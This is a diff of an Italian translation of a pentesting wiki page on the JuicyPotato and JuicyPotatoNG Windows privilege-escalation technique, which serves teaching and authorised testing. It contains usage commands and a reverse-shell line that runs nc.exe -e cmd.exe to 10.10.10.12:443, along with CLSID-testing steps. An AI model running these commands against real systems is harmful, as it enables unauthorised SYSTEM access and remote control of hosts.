(2022+) -JuicyPotatoNG reintroduce una local privilege escalation in stile JuicyPotato su Windows moderni combinando: -- DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener. -- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present. -- Tricks to satisfy DCOM activation constraints (e.g., the former INTERACTIVE-group requirement when targeting PrintNotify / ActiveX Installer Service classes). +JuicyPotatoNG reintroduce una JuicyPotato-style local privilege escalation su Windows moderni combinando: +- DCOM OXID resolution a un server RPC locale su una porta scelta, evitando il vecchio listener hardcoded 127.0.0.1:6666. +- Un SSPI hook per catturare e impersonare l'autenticazione SYSTEM in ingresso senza richiedere RpcImpersonateClient, il che abilita anche CreateProcessAsUser quando è presente solo SeAssignPrimaryTokenPrivilege. +- Tecniche per soddisfare i vincoli di attivazione DCOM (es., il precedente requisito del gruppo INTERACTIVE quando si prende di mira le classi PrintNotify / ActiveX Installer Service). -Note importanti (comportamento in evoluzione tra le build): -- September 2022: La tecnica iniziale funzionava su target Windows 10/11 e Server supportati usando la “INTERACTIVE trick”. +Important notes (evolving behavior across builds): +- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”. - January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post. -Uso base (più flag nell'help): +Basic usage (more flags in the help): ``` JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" # Useful helpers: @@ -103,13 +103,13 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" # -s Scan for a COM port not filtered by Windows Defender Firewall # -i Interactive console (only with CreateProcessAsUser) ``` -Se stai prendendo di mira Windows 10 1809 / Server 2019 dove il classico JuicyPotato è stato patchato, preferisci le alternative collegate in alto (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, ecc.). NG può essere situazionale a seconda della build e dello stato del servizio. +Se stai prendendo di mira Windows 10 1809 / Server 2019 dove il JuicyPotato classico è stato patchato, preferisci le alternative collegate in alto (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, ecc.). NG potrebbe essere situazionale a seconda della build e dello stato del servizio. ## Esempi -Nota: visita [this page](https://ohpe.it/juicy-potato/CLSID/) per una lista di CLSID da provare. +Nota: Visita [this page](https://ohpe.it/juicy-potato/CLSID/) per un elenco di CLSID da provare. -### Ottieni una reverse shell con nc.exe +### Ottieni una nc.exe reverse shell ``` c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t * @@ -130,21 +130,21 @@ c:\Users\Public> ![](<../../images/image (300).png>) -## Problemi con i CLSID +## Problemi con CLSID -Spesso il CLSID predefinito utilizzato da JuicyPotato **non funziona** e l'exploit fallisce. Di solito occorrono più tentativi per trovare un **CLSID funzionante**. Per ottenere una lista di CLSID da provare per un sistema operativo specifico, visita questa pagina: +Spesso il CLSID predefinito che JuicyPotato usa **non funziona** e l'exploit fallisce. Di solito servono più tentativi per trovare un **CLSID funzionante**. Per ottenere una lista di CLSID da provare per un sistema operativo specifico, visita questa pagina: - [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/) ### **Verifica dei CLSID** -Per prima cosa ti serviranno alcuni eseguibili oltre a juicypotato.exe. +Per prima cosa, avrai bisogno di alcuni eseguibili oltre a juicypotato.exe. -Scarica [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) e caricalo nella tua sessione PS, poi scarica ed esegui [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Quello script creerà una lista di possibili CLSID da testare. +Scarica [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) e caricalo nella tua sessione PS, quindi scarica ed esegui [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Quel script creerà una lista di possibili CLSID da testare. -Poi scarica [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(modifica il percorso alla lista CLSID e all'eseguibile juicypotato) ed eseguilo. Inizierà a provare ogni CLSID e **quando il numero di porta cambia, significa che il CLSID ha funzionato**. +Poi scarica [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(cambia il percorso della lista dei CLSID e quello dell'eseguibile juicypotato) ed eseguilo. Inizierà a provare ogni CLSID e **quando il numero di porta cambierà, significa che il CLSID ha funzionato**. -**Controlla** i CLSID funzionanti **usando il parametro -c** +**Verifica** i CLSID funzionanti **usando il parametro -c** ## Riferimenti